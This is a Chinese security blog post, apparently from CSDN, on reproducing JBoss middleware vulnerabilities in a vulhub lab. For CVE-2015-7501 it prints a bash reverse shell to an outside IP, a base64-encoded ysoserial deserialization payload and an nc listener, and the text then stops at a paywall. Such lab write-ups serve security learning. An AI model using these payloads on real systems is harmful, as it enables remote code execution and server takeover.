常见中间件漏洞（三、Jboss合集）

最新推荐文章于 2025-03-26 00:51:32 发布
最新推荐文章于 2025-03-26 00:51:32 发布
阅读量1.2k 收藏 25
点赞数 33
文章标签： 常见中间件漏洞 Jboss 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/2301_76631050/article/details/140968253
版权

目录

三、Jboss

Jboss介绍

3.1 CVE-2015-7501

漏洞介绍

影响范围

环境搭建

漏洞复现

3.2 CVE-2017-7504

漏洞介绍

影响范围

环境搭建

漏洞复现

3.3 CVE-2017-12149

漏洞简述

漏洞范围

漏洞复现

3.4 Administration Console弱囗令

漏洞描述

影响版本

环境搭建

密码文件

漏洞复现

3.5 低版本JMX Console未授权

漏洞描述

影响范围

环境搭建

漏洞复现

3.6 高版本JMX Console未授权

漏洞描述

影响版本

环境搭建

漏洞复现

三、Jboss

Jboss介绍

JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可，可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域JBoss是发展最为迅速应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发这使得JBoss广为流行。

3.1 CVE-2015-7501

Jboss JMXInvokerServlet 反序列化漏洞

漏洞介绍

这是经典的JBoss反序列化漏洞，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象然后我们利用Apache Commons Collections中的 Gadget 执行任意代码

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0 CP10

JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0

JBoss Fuse 6.2.0

JBoss SOA Platform(SOA-P) 5.3.1

JBoss Data Grid (JDG) 6.5.0

JBOSS BRMS (BRMS) 6.1.0

JBOSS BPMS (BPMS) 6.1.0

JBoss Data Virtualization (JDV) 6.1.0

JBoss Fuse Service Works (FSW) 6.0.0

JBoss Enterprise Web Server(EWS) 2.1,3.0

环境搭建
cd vulhub/jboss/JMXInvokerServlet-deserialization

docker-compose up -d

漏洞复现

1.POC，访问地址

http://47.99.98.0:8080/invoker/JMXInvokerServlet

返回如下，说明接口开放，此接口存在反序列化漏洞

2.下载 ysoserial 工具进行漏洞利用

https://github.com/frohoff/ysoserial

将反弹shell进行base64编码

bash -i >& /dev/tcp/47.99.98.0/7777 0>&1

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OS45OC4wLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}">exp.ser

3.服务器设置监听得端⼝

nc -lvvp 7777

4.执行命令

curl http://47.99.98.0:8080/invoker/JMXInvo
最低0.47元/天 解锁文章
Meet.meet
关注
【漏洞复现】JBoss 中间件漏洞
qq_48368964的博客
08-06 1615
JBoss是⼀个基于J2EE的开发源代码的应⽤服务器。JBoss代码遵循LGPL许可，可以在任何商业应⽤中免费使⽤。JBoss是⼀个管理EJB的容器和服务器，⽀持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核⼼服务不包括⽀持servlet/JSP的WEB容器，⼀般与Tomcat或Jetty绑定使⽤。在J2EE应⽤服务器领域，JBoss是发展最为迅速应⽤服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss⼴为流⾏。
常见中间件漏洞复现之【Jboss】！
muyuchen110的博客
08-06 1121
Jboss介绍JBoss是⼀个基于J2EE的开发源代码的应⽤服务器。JBoss代码遵循LGPL许可，可以在任何商业应⽤中免费使⽤。JBoss是⼀个管理EJB的容器和服务器，⽀持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核⼼服务不包括⽀持servlet/JSP的WEB容器，⼀般与Tomcat或Jetty绑定使⽤。在J2EE应⽤服务器领域，JBoss是发展最为迅速应⽤服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss⼴为流⾏。漏洞介绍影响范围。
CVE重要漏洞复现之JBOSS漏洞合集
没有网络安全就没有国家安全
03-17 1044
CVE重要漏洞复现之JBOSS漏洞合集
JBoss
最新发布
qq_41701460的博客
03-26 185
JBoss 是一个管理 EJB 的容器和服务器，但 JBoss 核心服务不包括支持 servlet/JSP 的WEB容器，一般与Tomcat或Jetty绑定使用。Jboss是Java EE 应用服务器（就像Apache是web服务器一样），专门用来运行Java EE程序的。一个基于J2EE的开放源代码的应用服务器。操作步骤就不写了，自己实操 记得牢。
JBoss中间件漏洞汇总
混子
11-18 1万+
目录 一、JBoss是什么？ 二、安装环境 1. Jdk 2. 下载JBoos4、6，并进行配置 三、 反序列漏洞 1. HttpInvoker 组件（CVE-2017-12149） 2. JMXInvokerServlet组件（CVE-2015-7501） 3. JBossMQ（CVE-2017-7504） 4.EJBInvokerServlet组件（CVE-2013-4810） 四、 War后门文件部署 1. admin-cosole（爆红接着传） 2. JMX-console.
JBoss漏洞
周星星的博客
10-24 1350
JBoss漏洞的简单学习记录
JBoss常见漏洞整理
热门推荐
寒星的博客
06-01 1万+
JBoss常见漏洞整理 JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。 JBoss高危漏洞主要涉及到以下两种。 第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞，例如：CVE-2007-1036，CVE-2010-0738,CVE-2006.
常见中间件漏洞总结PPT
01-25
在中间件领域，常见的产品包括WebLogic、Tomcat、Nginx、IIS（Internet Information Services）、JBoss等。 1. WebLogic是Oracle公司的一个Java EE应用服务器，它支持企业级应用的部署和运行。WebLogic的漏洞往往...
【合集】常见中间件漏洞
hackzkaq的博客
12-03 3097
1. IIS 1. PUT漏洞 用户配置不当，exp:https://github.com/hackping/HTTPMLScan.git 2. 短文件名猜解 IIS的短文件名机制，可以暴力猜解短文件名，访问构造的某个存在的短文件名，会返回404，访问构造的某个不存在的短文件名，返回400。 exp:https://github.com/WebBreacher/tilde_enum 3.远程代码执行(CVE-2017-7269)) **exp**:https://github.com/zcgonv
常见中间件漏洞复现
君莫hacker的博客
11-08 9272
常见中间件漏洞复现 中间件Tomcat Apache IIS Jboss Weblogic Nginx 目录tomcat中间件1.tomcat文件上传（CVE-2017-12615） tomcat中间件 1.tomcat文件上传（CVE-2017-12615） 环境：线上环境 vulfocus 影响版本：Tomcat 7.0.0 - 7.0.81
Jboss漏洞利用小工具
09-01
Jboss漏洞利用的小工具。执行命令一次不行可以尝试多次执行
JBOSS未授权漏洞总结
m0_64481831的博客
04-03 1989
JBOSS是一个基于J2EE的开放源代码应用服务器，也是一个管理EJB的容器和服务器，默认使用8080端口监听。JBOSS未授权访问漏洞介绍漏洞原理JBOSS未授权漏洞在默认情况下无需账号密码就可以直接访问后台管理控制台页面（），导致攻击者可以获取网站信息、上传webshell，获取服务器权限等。
渗透测试——漏洞扫描工具
wuli1024的博客
11-20 2609
然后还要将all这个压缩包里的plugin_feed_info.inc提取出来，命令行是 tar -zxvf all-2.0.tar.gz plugin_feed_info.inc，然鹅，我提取不出来。将下载好的插件移动到Nessus目录下，然后输入sudo /opt/nessus/sbin/nessuscli update all-2.0.tar.gz。用户名和密码随便写写就好，随后将会更新补丁，OK，这样Nessus可以使用了。将会获得一串数字，然后去激活码的这个网站，输入自己的邮箱获取激活码。
深入浅出带你学习JBoss中间件常见漏洞
Spontaneous_0的博客
02-13 1223
深入浅出带你学习JBoss中间件常见漏洞
Jboss多个远程命令执行漏洞（CVE-2017-12149、CVE-2015-7501、CVE-2017-7504）
qq_68163788的博客
06-26 1604
JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流行。
JBOSS漏洞
weixin_30488313的博客
04-26 771
　　JBOSS:是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可，可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。 　　JBOSS 端口号：8080 　　默认密码 ：admin ...
jboss中间件常见漏洞
01-10
### 关于 JBoss 中间件常见安全漏洞及其解决方案 #### 反序列化漏洞 JBoss存在反序列化漏洞，这使得攻击者能够通过精心构造的数据包执行任意代码。此类漏洞通常存在于处理外部输入数据的过程中，在某些情况下可能被利用来远程控制受影响的服务器[^1]。 对于这类问题，官方建议升级到最新版本并打上所有可用补丁；如果无法立即更新，则应考虑禁用不必要的组件和服务以减少暴露面。另外，配置防火墙规则限制对特定端口和路径的访问也可以有效缓解风险。 #### 配置不当引发的安全隐患 除了上述提到的技术层面缺陷外，错误配置同样会给黑客留下可乘之机。例如，默认账户未更改密码、开放过多权限给应用程序用户等都属于高危操作。因此定期审查环境设置至关重要，确保遵循最小特权原则分配资源访问权，并启用审计跟踪记录重要事件以便事后分析。 针对以上情况，可以采取如下措施加强防护： - 修改默认管理员账号信息； - 移除或锁定不再使用的测试/临时ID； - 细粒度调整角色定义，仅授予完成工作所需的最低限度授权； - 开启日志监控机制，及时发现异常行为模式。 ```bash # 示例命令：修改默认管理用户名字和密码（具体实现取决于所处的操作系统） $ sudo passwd jboss_admin_user Changing password for user jboss_admin_user. New password: Retype new password: passwd: all authentication tokens updated successfully. ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值